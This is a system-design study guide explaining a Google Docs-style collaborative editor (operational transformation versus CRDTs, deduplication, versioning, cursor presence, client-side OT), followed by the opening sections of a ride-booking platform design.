Key Insight: The server version number is the total ordering mechanism. It converts the partial order (concurrent client ops) into a total order (globally committed sequence). Without it, clients would need vector clocks to detect ordering, which is far more complex.

Duplicate Operations (At-Least-Once Delivery)

Problem: Client sends op, server commits and appends to log, but crashes before sending ACK. Client retries — duplicate op arrives.

Solution: Each op carries (client_id, client_seq). OT Server checks Redis before processing:

GET dedup:{client_id}:{client_seq}
  → exists:  duplicate — return previously committed server_version, drop op
  → missing: process normally, SET dedup:{client_id}:{client_seq} {server_ver} EX 3600

Network Delay and Reconnection

Problem: Client loses connection for 30 seconds. Misses 150 ops from other users. On reconnect, their local document is stale.

Solution: Operation log catch-up

[!NOTE]
Key Insight: The Operations Log is not just for versioning — it is the reconnection mechanism. Every client disconnect/reconnect is handled identically: fetch ops since last_known_version from Cassandra, transform against local pending ops, apply. This also handles the offline editing case (F2 in the Frontend section).

7. Deep Dives

6.1 The Three Approaches to Collaborative Editing

This is the most important section of the design. Three approaches exist, and two of them fail at scale or correctness.

Approach 1: File Replacement (Brute Force)

Idea: On every keystroke, serialize the entire document, send it to the server, server overwrites storage, broadcasts new document to all clients.

Problems:

(a) Payload is enormous. A 100 KB document sends 100 KB per keystroke. At 5 ops/sec per user x 1M users = 500 GB/sec of document content transfer. Catastrophic.

(b) Concurrent writes cause silent data loss. Alice and Bob both read version N, both write version N+1 with their own changes. Bob's write overwrites Alice's. Last writer wins — Alice's work silently disappears.

(c) DOM re-render cost. The client must diff the entire document on every update to determine what changed for DOM patching.

Verdict: Rejected.

Approach 2: Locking Protocol

Idea: Prevent concurrent edits by serializing access.

Pessimistic locking: A user acquires an exclusive lock on the document before editing. Others see a read-only view until the lock is released.

Problem: Completely incompatible with real-time collaboration. If Alice locks a document for 2 minutes of typing, Bob is frozen.

Optimistic locking: Users edit freely, but on commit the server checks if the base version is still current. If another write happened, the commit is rejected and the user must manually merge.

Problem: Acceptable for code (Git), but unacceptable for a text editor. Users cannot be asked to resolve merge conflicts for every paragraph.

Verdict: Rejected for real-time collaborative editing.

Approach 3: Delta-Based with Conflict Resolution (OT or CRDT)

Idea:

Send only the operation delta: { type: "insert", pos: 29, char: "R" } — not the whole file.
Use a persistent WebSocket for low-latency bidirectional messaging.
Use a conflict resolution algorithm (OT or CRDT) to reconcile concurrent operations before applying them.

The Alice/Bob Problem — Why Naive Delta Merge Fails:

Initial document: "BC"

Alice: insert "A" at position 0  ->  her local state: "ABC"
Bob:   insert "D" at position 2  ->  his local state:  "BCD"

Naive server merge (apply both without transformation):
  Server applies Alice's op first: "ABC"
  Server applies Bob's op (D at pos 2): "ABDC"   <- Alice sees "ABDC"
  Bob applied D to "BCD" then receives Alice's op  -> Bob sees "ABCD"

Alice sees "ABDC", Bob sees "ABCD" -- DIVERGED. Documents are inconsistent.

With OT (Operational Transformation):

Bob's op insert("D", pos=2) was generated against version "BC" (before Alice's insert)
The server knows Alice's op happened first (committed at version 1)
The OT server transforms Bob's op: Alice inserted at pos 0, which shifts all positions right by 1 — Bob's pos 2 becomes pos 3
Transformed op: insert("D", pos=3)
Both Alice and Bob converge to: "ABCD" ✓

Verdict: CHOSEN. Delta-based operations with OT conflict resolution.

6.2 OT vs CRDT — The Core Algorithm Choice

Both OT and CRDT solve the concurrent edit problem. They take fundamentally different approaches. Understanding both deeply — including CRDT's real production costs — is what separates a junior answer ("use CRDT, it's simpler") from a senior answer.

OT (Operational Transformation)

The server maintains a canonical operation history for the document
When a client op arrives, the server checks: which ops were committed since the client's last known version?
The transformation function adjusts the incoming op's position against each concurrent op
All operations for a document must pass through a single server (the ordering point)

Transformation rules (simplified):

Concurrent ops	Rule
Insert(A) vs Insert(B), A <= B	B becomes B + 1
Insert(A) vs Insert(B), A > B	B stays B
Insert(A) vs Delete(B), A <= B	B becomes B + 1
Delete(A) vs Delete(B), A < B	B becomes B - 1
Delete(A) vs Delete(B), A >= B	B stays B

CRDT (Conflict-free Replicated Data Type)

CRDT = Conflict-free Replicated Data Type. The core guarantee: any two peers that have seen the same set of operations will converge to the same document state — regardless of the order in which those operations arrived. No central server required to enforce this. The data structure itself makes convergence guaranteed.

The fundamental difference from OT: OT needs a server to impose order before merging. CRDT makes operations commutative — you can apply them in any order and always get the same result.

How CRDT Merge Works (Operation-Based)

In the operation-based model (which is what text editors use), each peer sends only the delta — the operation — not the full document. The key insight is that every character gets a permanent unique identity, not an integer position that shifts when other chars are inserted.

Each character carries:
  id:    a unique identifier (never reused, even after deletion)
  after: the id of the character this was inserted after (the "anchor")
  value: the character itself

The same Alice/Bob problem — solved with CRDT:

Recall the problem from the OT section:

Document: "BC"   (B has id=1, C has id=2)

Alice inserts "A" at the start:
  OT op:   { insert, pos=0, char="A" }       ← integer position, shifts on merge
  CRDT op: { id=3, after=START, value="A" }  ← anchored to START, never shifts
  Alice's state: "ABC"

Bob inserts "D" after "C":
  OT op:   { insert, pos=2, char="D" }       ← integer position 2, relative to "BC"
  CRDT op: { id=4, after=id2, value="D" }    ← anchored to C (id=2), never shifts
  Bob's state: "BCD"

Why OT fails without a server and CRDT doesn't:

With OT, when Alice's op arrives at Bob, Bob must transform it — "Alice inserted at position 0, so my position 2 must shift to position 3." That transformation requires knowing the commit order, which requires a server.

With CRDT, no transformation is needed:

Alice's op says: "put 'A' after START." That's true regardless of what Bob did.
Bob's op says: "put 'D' after id=2 (C)." That's true regardless of what Alice did.

Both peers simply apply both ops:

  START → A(id=3) → B(id=1) → C(id=2) → D(id=4)
  Rendered: "ABCD"  ✓

Alice applies Bob's op:   START → A(id=3) → B(id=1) → C(id=2) → D(id=4) = "ABCD" ✓
Bob applies Alice's op:   START → A(id=3) → B(id=1) → C(id=2) → D(id=4) = "ABCD" ✓
Both converge without any server involvement.

The key difference in one line:

OT says "insert at position N" — positions shift, so a server must impose order before transforming.
CRDT says "insert after character X (by id)" — ids never shift, so any peer can merge in any order.

What if two peers insert at the same anchor concurrently?

Document: "AC"  (A has id=1, C has id=2)

Alice types "B" after A:  op { id=3, after=id1, value="B" }  →  "ABC"
Bob   types "X" after A:  op { id=4, after=id1, value="X" }  →  "AXC"

Both ops say "after id=1". Tie-break: sort by peer identity (e.g. alphabetical).
"alice" < "bob" → Alice's character goes first.

Both peers converge to: "ABXC"  ✓  (consistent, even if arbitrary)

The result is always consistent. The tie-break is arbitrary but deterministic — the same rule on every peer produces the same order. OT has the same limitation: the server picks a commit order that's equally arbitrary.

Tombstoning — The Hidden Cost of CRDT

Deleted characters cannot be physically removed from a CRDT. This is the most important production constraint.

Here's why:

Document: A(id=1) → B(id=2) → C(id=3)

Alice deletes B. Her view: A(id=1) → C(id=3)

Bob (offline) types "D" after B — his op says: "after id=2"

Bob reconnects. If B was physically deleted, id=2 no longer exists.
Bob's operation has no anchor — it cannot be placed correctly.

Solution: B becomes a tombstone — invisible to the user, but still in the structure:
  A(id=1) → [B, id=2, deleted] → D(id=4) → C(id=3)
  Rendered: "ADC"

At scale: A heavily-edited document accumulates tombstones — invisible deleted characters that stay in memory on every client. A 10,000-word document could have 50,000 tombstones. Periodic cleanup ("compaction") removes them once every peer has confirmed they've seen the deletion — but coordinating that cleanup across offline mobile clients is a hard engineering problem.

[!NOTE]
Key Insight: Tombstoning is not a bug — it is the price of CRDT's "no central server" guarantee. You cannot fully delete a character until every peer has acknowledged the deletion. OT has no tombstoning because the server is always the ordering authority — deletion is final immediately.

OT vs CRDT — Comparison

Dimension	OT	CRDT
Server required	Yes — single central ordering server per document	No — peers merge independently
Conflict resolution	Transform function adjusts positions against concurrent ops	Operations are self-describing (anchor by id) — no transform needed
Offline editing	Hard — must reconnect to server to reconcile	Native — peers merge op sets in any order
Deletion	Final — server confirms immediately	Tombstone — char stays in structure until all peers confirm
Compaction overhead	None	Required — periodic cleanup of accumulated tombstones
Data structures	Linear text (transform rules don't generalize)	Arbitrary structures (JSON trees, shapes)
Used by	Google Docs (historically)	VS Code Live Share, Figma, Notion

Chosen for this design: OT

[!NOTE]
Key Insight: OT vs CRDT is not about which is "better" — it is about topology. OT requires a central server, which is a cost only if you don't already have one. Google Docs already has a central server for auth, versioning, and billing — OT's requirement is free. CRDT's advantages (no server, offline-native) only matter when you genuinely need peer-to-peer or multi-region without a single home region.

6.3 Fast Path vs Reliable Path

Every operation in Google Docs travels both paths simultaneously.

Fast Path (Latency-Optimized)

The client applies the operation to its local document model before the operation reaches the server. The user sees their keystroke reflected in the UI with zero network latency. If the server later transforms the operation, the client reconciles silently.

[!NOTE]
Key Insight: The client applies the operation locally BEFORE the server ACK. This is what makes Google Docs feel instant. In a chat app, the message is stored server-side first. In a text editor, visual latency matters more than consistency — you must feel that your keystroke registered immediately.

Reliable Path (Durability-Optimized)

The OT Server writes the operation to Cassandra before broadcasting to peers. If the server crashes mid-broadcast, operations are never lost — they are replayed from the log on reconnect. The Kafka stream drives background snapshot creation without blocking the critical path.

Reconnect flow:

Client reconnects with last_applied_version = 142
Server queries Cassandra: all ops for doc_id X where version > 142
Server sends missed operations to client
Client applies them in order, transforming against any pending local ops

Key difference from chat systems: In Google Docs, the CLIENT applies the operation before the server ACK. In a chat app, the server stores the message first. This reflects the priority difference — in docs, visual latency matters more than consistency; in chat, message durability matters more than render speed.

6.4 Versioning (Operations Log + Snapshots = Event Sourcing)

[!NOTE]
Key Insight: Google Docs versioning is identical to the Event Sourcing pattern. The Operations Log is the event store. Document snapshots are materialized views. To reconstruct any historical state: fetch the nearest snapshot before the target version, then replay operations forward.

Operations Log Schema (Cassandra)

Table: document_operations

Partition key:  doc_id          UUID
Clustering key: version         BIGINT  (ascending)

Columns:
  op_type     TEXT        -- "insert" | "delete"
  position    INT
  content     TEXT        -- character(s) inserted
  user_id     UUID
  client_id   UUID
  timestamp   TIMESTAMP

Why Cassandra?

Append-only write pattern — operations are never updated, only inserted. Cassandra's LSM-tree is optimized for append-heavy workloads.
Partition by doc_id — all operations for a document are co-located on the same partition, enabling fast sequential reads for replay.
High write throughput — Cassandra handles millions of writes/sec natively with tunable consistency.

Snapshot Lifecycle

Version Restore Algorithm

1. User requests restore to version V
2. Query: SELECT MAX(snapshot_version) WHERE doc_id = X AND snapshot_version <= V
3. Fetch snapshot binary from S3 (via CDN if recent)
4. Query: SELECT op FROM document_operations
          WHERE doc_id = X
            AND version > snapshot_version
            AND version <= V
5. Apply each operation in order to the snapshot base state
6. Return reconstructed document

Storage optimization: Raw operations are retained for 30 days. After 30 days, old operations are compacted — the snapshot becomes the source of truth and individual ops are deleted. Users can still view the version (via snapshot) but cannot replay individual keystrokes.

6.5 Cursor and Presence

Cursor state is ephemeral — it has a natural expiry when the user stops moving or disconnects. Storing cursor positions in a relational database would add unnecessary write amplification for data that expires within seconds.

Cursor Flow

Redis Cursor Schema

Key:   cursor:{doc_id}
Type:  Hash
Field: {user_id}
Value: { pos: 29, selection: {start: 29, end: 35}, color: "#FF6B6B", ts: 1709123456 }
TTL:   30 seconds (refreshed on each cursor update)

[!NOTE]
Key Insight: Presence is ephemeral — Redis with TTL handles cleanup automatically. When a user disconnects without sending an explicit "offline" event (e.g., browser tab killed), the TTL ensures the cursor entry expires within 30 seconds. Storing cursor/presence state in PostgreSQL would require a background cleanup job to purge stale rows. Redis TTL is the correct primitive for data with natural expiry.

Presence State Machine

7. ⚖️ Key Trade-offs

Trade-off 1: OT vs CRDT

Aspect	OT	CRDT
Control	Centralized — one server imposes total order	Distributed — peers merge independently
Complexity	Medium — transform function per op-type pair	High — tombstoning, compaction, vector clock GC
Ordering	Required — server version number is the total ordering	Not required — operations are commutative by design
Offline support	Hard — server reconciliation required on reconnect	Native — any peer merges any op set in any order
Data structures	Linear text only — transform rules don't generalize	Arbitrary — Automerge handles JSON trees, shapes
Integration with auth/versioning	Natural fit — central server already exists	Requires retrofitting — designed for no-server topologies
Tombstone overhead	None	Required — deleted chars stay as markers until GC

Chosen for this design: OT.
One-line reason: a central server is already required for access control, versioning, and billing — OT's single-ordering-point requirement is not an additional constraint. CRDT's primary advantage (no central server) is irrelevant when the central server already exists.

Where to Use OT vs CRDT vs Both — The Honest Answer

[!IMPORTANT]
Google Docs historically used OT (Google Wave / Jupiter algorithm, 2009). Whether the current production system uses pure OT, CRDT, or a hybrid is not publicly confirmed by Google. The original design is well-documented. The current design at Google's scale — billions of documents, offline Android/iOS apps, multi-region — may have evolved. Claiming certainty either way is incorrect.

Use Case	Right Choice	Reason
Real-time online collaborative editing, < 100ms latency	OT	Central server already exists; low complexity; fast path
Mobile offline editing (hours or days offline)	CRDT	Reconnect reconciliation without server round-trip; offline ops merge natively
Multi-region active-active (no single "home" region)	CRDT	OT's single ordering server becomes a cross-region bottleneck
Structured data (shapes, JSON trees, embedded objects)	CRDT (Automerge-style)	OT transform functions don't generalize beyond linear text
Comments, suggestions, presence metadata	CRDT or last-write-wins	Not linear text; central ordering less critical
Short offline windows (< 1 min), server always reachable	OT	Reconnect is a simple log catch-up; CRDT overhead not justified

Can Google use both? Yes — and this is the likely direction at scale:

Layer 1: Real-time online editing (happy path)
  → OT Server handles the live session
  → All clients connected → central ordering → < 100ms latency

Layer 2: Offline / multi-device reconciliation (cold path)
  → Mobile app goes offline for hours
  → On reconnect: large divergence window → CRDT-style merge
  → Treat offline edits as concurrent CRDT ops; server applies merge rules

Layer 3: Structured content (comments, embedded objects, JSON)
  → These are not linear text — OT transform rules don't cover them
  → JSON CRDT (Automerge) handles arbitrary data structures natively

This is a hybrid architecture: OT for the hot real-time path, CRDT for the cold/offline path and non-text data. Neither algorithm alone handles all cases at Google's scale and product surface.

Signal	Choose OT	Choose CRDT
Server topology	Central server already exists	Peer-to-peer or multi-master
Offline window	Short (seconds to minutes)	Long (hours, days, mesh networks)
Data model	Linear text	Arbitrary structures (JSON, vector graphics)
Team / maintenance	Small team, correctness priority	Large infra team comfortable with compaction and GC
Real-world: text editors	Google Docs (historically), Notion, Quip	VS Code Live Share (Yjs), GitHub Copilot Workspace (Automerge)

[!IMPORTANT]
OT = simpler but centralized. CRDT = distributed but carries tombstone and compaction cost.
The correct answer in an interview is not "use OT" or "use CRDT" — it is: "OT for the real-time hot path where a central server already exists; CRDT for offline reconciliation and non-text structured data where distributed merge is genuinely required."

[!NOTE]
Key Insight: The reason to know CRDT deeply is not to argue for replacing OT. It is to design the offline and structured-data layers correctly — the layers where OT's central ordering requirement becomes a bottleneck rather than a free constraint.

Trade-off 2: WebSocket vs HTTP Long-Polling vs SSE

Dimension	WebSocket	Long-Polling	SSE
Bidirectional	Yes	Simulated (2 connections)	No (server-to-client only)
Latency	Lowest — persistent connection	High — new HTTP request per message	Low — persistent, but client cannot push
Infrastructure complexity	Sticky routing required; stateful	Stateless — any node	Stateless
Real-time op delivery	Native	Possible but wasteful	Cannot receive client ops

Chosen: WebSocket.
One-line reason: collaborative editing requires both the client pushing operations and the server pushing transforms — true bidirectional communication is mandatory.

[!NOTE]
Key Insight: The WebSocket sticky routing requirement (each client for a doc_id must connect to the same OT Server node) is a direct consequence of OT's single-ordering-point requirement. It is not a weakness of WebSocket — it is the architecture expressing the correctness constraint of OT.

Trade-off 3: Delta Operations vs Full Document Replacement

Dimension	Delta Operations	Full Document Replacement
Payload size	~200 bytes per op	~50 KB per keystroke
Concurrent edit safety	OT/CRDT ensures convergence	Last-writer-wins — silent data loss
Network throughput at 1M editors	~1 GB/sec (manageable)	~250 TB/sec (catastrophic)
Reconnect catch-up	Replay missed ops from log	Fetch current document snapshot

Chosen: Delta operations.
One-line reason: full document replacement causes both catastrophic bandwidth usage and silent data loss under concurrent edits.

Trade-off 4: At-Least-Once vs Exactly-Once Delivery

Dimension	At-Least-Once	Exactly-Once
Complexity	Low	High — requires distributed transactions
Risk	Duplicate operations (detectable)	None
Mitigation	Idempotency via client_id + version dedup	Not needed
Latency impact	Minimal	Adds 2PC overhead on critical path

Chosen: At-least-once with idempotency.
One-line reason: exactly-once delivery requires 2PC or Saga patterns that add latency on the critical edit path. Deduplicating by (client_id, version) on the OT server catches all duplicates at negligible cost.

[!NOTE]
Key Insight: At-least-once delivery is safe in OT because each operation carries a version and client_id. The OT server detects and drops duplicates in O(1) using a Redis SET with TTL. The operations log in Cassandra provides the durable deduplication record for longer windows.

8. Interview Summary

Decision Table

Decision	Problem It Solves	Trade-off Accepted
Delta operations (not file replacement)	Catastrophic bandwidth; concurrent write data loss	Requires conflict resolution algorithm
Operational Transformation (OT)	Concurrent edits produce divergent documents	Requires single central ordering server per document
WebSocket (not HTTP)	Server must push transformed ops to all peers	Sticky routing required; stateful infrastructure
Cassandra for operations log	5M writes/sec; append-only; partition by doc_id	Eventual consistency on reads (acceptable for log replay)
Redis for cursors/presence with TTL	Cursor data is ephemeral; DB writes would be wasteful	Not durable — cursor state lost on Redis failover (acceptable)
S3 + CDN for document snapshots	Fast initial load for large documents; CDN caches globally	Eventual consistency between snapshot and live ops
Optimistic local apply	Users must feel keystrokes are instant	Client must handle rollback if server rejects op (rare)
Kafka for snapshot pipeline	Decouple snapshot creation from OT critical path	Small lag between committed ops and snapshot availability

Mental Model Summary

Google Docs is a two-path system. The fast path optimistically applies every keystroke locally, ships it over a persistent WebSocket to an OT Server that transforms it against any concurrent operations, then fans it out to all collaborators. The reliable path appends every operation to an immutable Cassandra log before the ACK is sent, enabling replay, versioning, and reconnect recovery. The hardest problem is concurrent edit reconciliation: OT requires a single central server to serialize operations and apply transformation functions that adjust character positions across all concurrent operations. Cursor positions are ephemeral and stored in Redis with TTL. Document history is event-sourced: snapshot + operation replay reconstructs any historical state.

Key Insights Checklist

OT requires a single central server per document — this is a correctness requirement, not an architectural weakness. Without a single ordering point, two nodes could transform the same concurrent ops in different orders, producing permanently divergent documents.
The client applies keystrokes locally before the server ACK — this optimistic apply is what makes Google Docs feel instant. The server transforms and confirms asynchronously; the client reconciles silently.
OT for the hot path, CRDT for the cold path — OT is right for real-time editing where a central server already exists. CRDT is right for long offline windows, multi-region without a home region, or non-text structured data (JSON, shapes). Google's production system likely uses both. Neither algorithm alone handles all cases at scale.
CRDT merge works by unique IDs, not integer positions — each character gets a permanent unique identity. An op says "insert after id=X", not "insert at position N". Positions shift; IDs don't. This is why CRDT needs no server to resolve conflicts — the merge is self-describing.
CRDT's hidden cost is tombstoning — deleted characters cannot be physically removed until every peer confirms the deletion. Heavily-edited documents accumulate invisible tombstones that require periodic compaction. OT has no tombstoning because the server is always the authority — deletion is final immediately.
Cursor data belongs in Redis, not a database — it is ephemeral, high-frequency, and has a natural TTL. Storing it in PostgreSQL or Cassandra would add write amplification for data that expires in 30 seconds anyway.
Versioning is event sourcing — the operations log is the event store; snapshots are materialized views. Restore = nearest snapshot + operation replay. This pattern provides both durable history and efficient current-state access.

Frontend Notes: Google Docs

Complexity split: Backend 65%, Frontend 35%

The backend carries the majority of the design weight: OT engine correctness, operations log durability, WebSocket fan-out, and snapshot management. However, the frontend in Google Docs is significantly more complex than a typical web application. The client runs a partial OT engine, manages an optimistic local document model, handles offline buffering, and renders collaborative cursors in real time. These are non-trivial engineering problems that warrant dedicated discussion in a system design interview.

F1: Client-Side OT (The Hardest Frontend Problem)

The client is not a passive receiver of server operations. It runs its own OT transformation engine to reconcile incoming remote operations against locally pending (not-yet-ACKed) operations.

Why this is necessary:

Suppose the client sends op A to the server. While waiting for the ACK, the user types op B locally. Before the server ACKs A, a remote op C arrives from another collaborator. C was generated against the server's state before A was committed. But locally, the document already has A and B applied. The client must transform C against both A and B before applying it — otherwise C will be applied at the wrong position.

Client OT State Machine:

State variables maintained by the client:

local_doc:       Current in-memory document model (all local ops applied)
committed_doc:   Last server-confirmed document state
pending_ops:     Queue of ops sent but not yet ACKed by server
buffered_ops:    Ops typed while previous op is in-flight
local_version:   Client's current version count
server_version:  Last confirmed server version

Incoming remote op processing:

function applyRemoteOp(remote_op):
    // remote_op was generated against server_version V
    // pending_ops contains all local ops with version > V
    transformed = remote_op
    for each pending_op in pending_ops:
        transformed = transform(transformed, pending_op)
    apply(transformed, local_doc)
    // adjust all collaborator cursors for this operation
    for each cursor in remote_cursors:
        cursor.pos = transformPosition(cursor.pos, transformed)

[!NOTE]
Key Insight: The client OT engine transforms incoming remote ops against the client's pending (unACKed) local ops — not against all local ops. Only unACKed ops are "invisible" to the server. ACKed ops are already reflected in the server's state and thus in the remote op's base version.

F2: Offline Editing

Google Docs supports continued editing when the network is unavailable. The client buffers operations locally and synchronizes on reconnect.

Offline flow:

IndexedDB schema for offline buffer:

Store: offline_ops
  doc_id:     String
  op:         Object (full operation delta)
  local_seq:  Number (local ordering)
  timestamp:  Number

Reconnect reconciliation: On reconnect, the server may have received operations from other collaborators during the offline period. The client's buffered ops must be transformed against all server ops that committed during the offline window. This is the same transform logic as online — the only difference is that the gap between last_known_server_version and current_server_version may be large.

[!NOTE]
Key Insight: Offline editing is where CRDT has a natural advantage — CRDTs merge offline changes without a server round-trip. With OT, the server must be involved in reconciling offline ops. For Google Docs (which already has a central server), this is acceptable. The reconnect transform is the same algorithm as normal online operation, just with a larger operation gap.

F3: Cursor Rendering

Rendering collaborative cursors involves three problems: position tracking, color assignment, and position adjustment when remote operations arrive.

Color assignment: On WebSocket session join, the server assigns a unique color per (user_id, doc_id, session). The color is consistent across all clients in the session — all users see Alice's cursor as the same color.

Cursor DOM rendering:

- Each collaborator's cursor is an absolutely-positioned CSS pseudo-element
- Cursor position = character offset in the ProseMirror / Quill document model
- Name label floats above the cursor line (CSS tooltip, hidden after 3s of inactivity)
- Selection ranges rendered as semi-transparent background color fills

Cursor position adjustment on remote op:

function adjustCursorsForOp(op, cursors):
    for each (user_id, cursor) in cursors:
        if op.type == "insert" and cursor.pos >= op.pos:
            cursor.pos += 1
        if op.type == "delete" and cursor.pos > op.pos:
            cursor.pos -= 1
        if op.type == "delete" and cursor.pos == op.pos:
            cursor.pos = op.pos   // cursor collapses to deletion point

Debouncing: Cursor position updates are debounced to 50ms before sending to the server. At 5 collaborators each moving cursors continuously, this keeps cursor broadcast traffic under 100 messages/sec — negligible compared to operation traffic.

F4: Optimistic UI and Rollback

Optimistic apply means the client mutates the local document model immediately on every keystroke, without waiting for the server to ACK the operation. The user sees their change reflected in under 1ms (local JS execution) rather than in 50-100ms (network round-trip).

Rollback (rare):

The server can reject an operation if:

The operation's base version is too old (client was offline too long and the transform gap is unresolvable)
The user lost editing permission mid-session
A server-side validation failure (e.g., document size limit exceeded)

On rejection:

1. Remove rejected op from pending_ops
2. Undo all local ops applied after the rejected op (in reverse order)
3. Apply the server's authoritative state
4. Re-apply any subsequent buffered ops that are still valid
5. Display subtle "sync error" indicator if reconciliation fails

In practice, rollback is extremely rare (less than 0.01% of operations). The architecture optimizes for the 99.99% case where the op is accepted and the ACK arrives within 100ms.

[!NOTE]
Key Insight: Optimistic UI requires a local undo stack that is separate from the user-facing Ctrl+Z undo history. The internal rollback stack tracks unACKed ops for reconciliation purposes. The user-facing undo history tracks logical editing intent. Conflating them would cause Ctrl+Z to undo server reconciliation adjustments that the user never consciously made.

Ride Booking (Uber / Ola)

Arghya Majumder — Fri, 27 Mar 2026 22:54:15 +0000

System Design: Ride Booking (Uber / Rapido)

1. Problem + Scope

Design a ride-booking platform (Uber / Rapido) supporting fare estimation, driver matching, real-time location tracking, and payment — at millions of concurrent users and drivers.

In Scope: Fare estimation, ride booking, driver matching, real-time location tracking (rider and driver), trip start/end, ratings, payments, surge pricing.

Out of Scope: Driver onboarding, fleet management, surge zone boundary drawing, fraud detection internals, driver incentive programs.

2. Assumptions & Scale

Inputs:
  Total drivers online:       5 million
  Daily rides:                20 million
  Peak concurrent requests:   500,000
  Location update frequency:  every 1s (ON_TRIP), every 2s (RESERVED), every 5s (IDLE)

Location writes/sec:
  5M drivers x (1 update / 3s avg) = ~1.67M writes/sec -> Redis must handle this

WebSocket connections (peak):
  5M drivers + ~2M active riders = ~7M persistent connections

Trip events/sec (Kafka):
  20M rides/day / 86,400s = ~232 events/sec (well within Kafka capacity)

Storage:
  Trip record: ~1 KB x 20M rides/day = 20 GB/day (PostgreSQL)
  Location history (waypoints): ~500 GPS points x 16B x 20M trips = ~160 GB/day (cold)
  Driver metadata: 5M drivers x 1 KB = 5 GB (static, fits in memory)

Bandwidth comparison:
  Location update frame (WebSocket): ~20 bytes
  Location update frame (HTTP polling): ~2 KB (headers + body)
  At 1.67M updates/sec: WebSocket = 33 MB/s vs HTTP = 3.3 GB/s -> WebSocket wins 100x

These numbers drive the following decisions: Redis for geospatial search (not PostGIS), WebSocket (not HTTP polling), Kafka for fan-out (not direct server-to-server calls), and state-adaptive location frequency (not a fixed 1s tick).

3. Functional Requirements

Rider gets a fare estimate (per vehicle type) for a pickup and drop location
Rider books a ride; system matches a nearby available driver within 60 seconds
Driver accepts or denies the ride offer (15-second window)
Both rider and driver track each other on a live map
Trip starts and ends; fare is finalized and payment is processed
Rider and driver rate each other after trip completion
Rider can cancel a ride before driver arrival; driver can cancel before trip start

4. Non-Functional Requirements

Requirement	Target
Latency — driver matching	< 300ms to dispatch first offer
Latency — location update visible to rider	< 2s end-to-end
Availability (rider-facing)	99.9% — app down = revenue loss
Consistency (driver assignment)	Strong — a driver must never be assigned to two rides simultaneously
Durability (trip + billing data)	Zero loss — replicated DB + Kafka retention
Location update throughput	1.67M writes/sec sustained
WebSocket connections	7M concurrent at peak

Consistency Model by Component:

Component	Consistency	Why
Driver assignment (Redis WATCH/EXEC)	Strong	Prevents double-booking
Driver location (Redis Geo)	Eventual	Overwrites on next tick; ephemeral
Trip record (PostgreSQL)	Strong (ACID)	Financial correctness
Surge multiplier (Redis cache)	Eventual (60s TTL)	Slight staleness is acceptable
Ride history (read replica)	Eventual	Acceptable for non-real-time reads

[!IMPORTANT]
CAP Theorem framing: This system intentionally makes different consistency trade-offs per component. Rider-facing read services (fare estimate, history) prefer availability. Driver assignment prefers strong consistency. Stating this explicitly in an interview shows CAP awareness at a component level — not a single global answer.

5. 🧠 Mental Model

Uber is two concurrent real-time systems: location tracking and driver matching. Every 1–5 seconds, millions of drivers push their GPS coordinates into a geo-indexed in-memory store. When a rider requests a trip, the system finds the closest available driver by ETA (not distance), atomically assigns them via a state transition, and keeps both maps in sync — all under 300ms. The hardest problems are concurrency (preventing double-booking) and geospatial search at scale.

                ┌──────────────────────────────────────────────────────────────┐
                │                     FAST PATH                                 │
 ┌──────────┐  │  ┌───────────────┐  GEORADIUS   ┌──────────────┐             │
 │  Driver  │──►  │ Location Svc  │ ───────────► │ Match Engine │ ──► Driver  │
 │  App     │  │  │ (Redis Geo)   │              │ (top K score)│    notified  │
 └──────────┘  │  └───────────────┘              └──────┬───────┘             │
  every 1-5s   │                                        │ WATCH/MULTI/EXEC    │
               └────────────────────────────────────────┼─────────────────────┘
                                                         │
               ┌─────────────────────────────────────────▼────────────────────┐
               │                    RELIABLE PATH                               │
               │  Trip event ──► Kafka ──► Trip DB (PostgreSQL)                │
               │  (start, end, fare, route) — durable, for billing + history   │
               └──────────────────────────────────────────────────────────────┘

Core Design Principles

Path	Optimized For	Mechanism
Fast Path — matching	Latency (< 300ms end-to-end)	Driver WS → Redis GEOADD → GEORADIUS → WATCH/MULTI/EXEC → WS push to driver
Fast Path — live tracking	Low-latency map sync	Location Svc → Kafka → rider WebSocket (ON_TRIP only)
Reliable Path — billing	Durability (zero revenue loss)	trip_start / trip_end → Kafka → PostgreSQL (replicated)
Ephemeral data	Sub-ms reads, auto-expiry on disconnect	Driver state + location in Redis with TTL
Durable data	Correct billing, audit, replay	Trip events event-sourced into PostgreSQL via Kafka

[!IMPORTANT]
Driver location is fast path only. Location is overwritten every 1–5 seconds — only the latest value matters. Trip events are reliable path — they drive billing. Never conflate ephemeral real-time data (location) with durable transactional data (trip records).

[!NOTE]
Key Insight: Both paths run concurrently on every event — they are not sequential. The fast path can fail and self-heal. The reliable path must not fail. Redis TTL is not a weakness; it is the correct primitive for data with a natural expiry.

6. API Design

Rider APIs

Method	Path	Description
POST	/api/v1/rides/request	Request ride {pickup_lat, pickup_lng, dest_lat, dest_lng}, returns {ride_id, fare_estimate, eta}
GET	/api/v1/rides/{id}/status	Poll ride status + driver location
DELETE	/api/v1/rides/{id}	Cancel ride (before driver assigned)
POST	/api/v1/rides/{id}/rating	Rate driver post-ride

Driver APIs

Method	Path	Description
PUT	/api/v1/drivers/availability	Toggle online/offline with current location
POST	/api/v1/rides/{id}/accept	Accept dispatched ride request
PUT	/api/v1/rides/{id}/status	Update status: ARRIVED, STARTED, COMPLETED
POST	/api/v1/drivers/location	GPS ping {lat, lng} every 5s

[!NOTE]
Async matching design: POST /rides/request is synchronous only for fare estimation. Driver matching happens asynchronously — the client polls GET /rides/{id}/status. This is why the system can afford to try multiple drivers without blocking the rider.

7. End-to-End Flow

The story in plain English:

Rider taps "Request Ride" — sends POST /rides with pickup and destination coordinates.
Match Service queries Redis Geo: GEORADIUS drivers:idle:city 3km — returns all idle drivers sorted by distance.
Match Service filters by vehicle type, rating, and acceptance rate, then ranks by estimated ETA.
The top driver is atomically reserved in Redis using WATCH/MULTI/EXEC — this prevents two rides from being assigned to the same driver simultaneously (the classic race condition).
A push notification is sent to the driver's app: "New ride offer — 15 seconds to respond."
Driver accepts → Match Service locks the driver's state in Redis to RESERVED, and pushes a WebSocket event to the rider: "Driver assigned, ETA 4 min."
Real-time tracking begins. Driver app sends GPS pings every 1–2 seconds via WebSocket.
Location Service writes to Redis Geo (overwrites driver position) and publishes to Kafka. A consumer on the rider's server reads the Kafka event and pushes the updated position to the rider's app over WebSocket.
Driver arrives, starts trip → status set to ON_TRIP in Redis. Trip start event persisted to PostgreSQL via Kafka.
Driver ends trip → POST /rides/{id}/end with final distance. Fare is calculated and charged asynchronously via Payment Service (Kafka consumer).
Driver state returns to IDLE in Redis Geo pool — immediately available for the next ride.

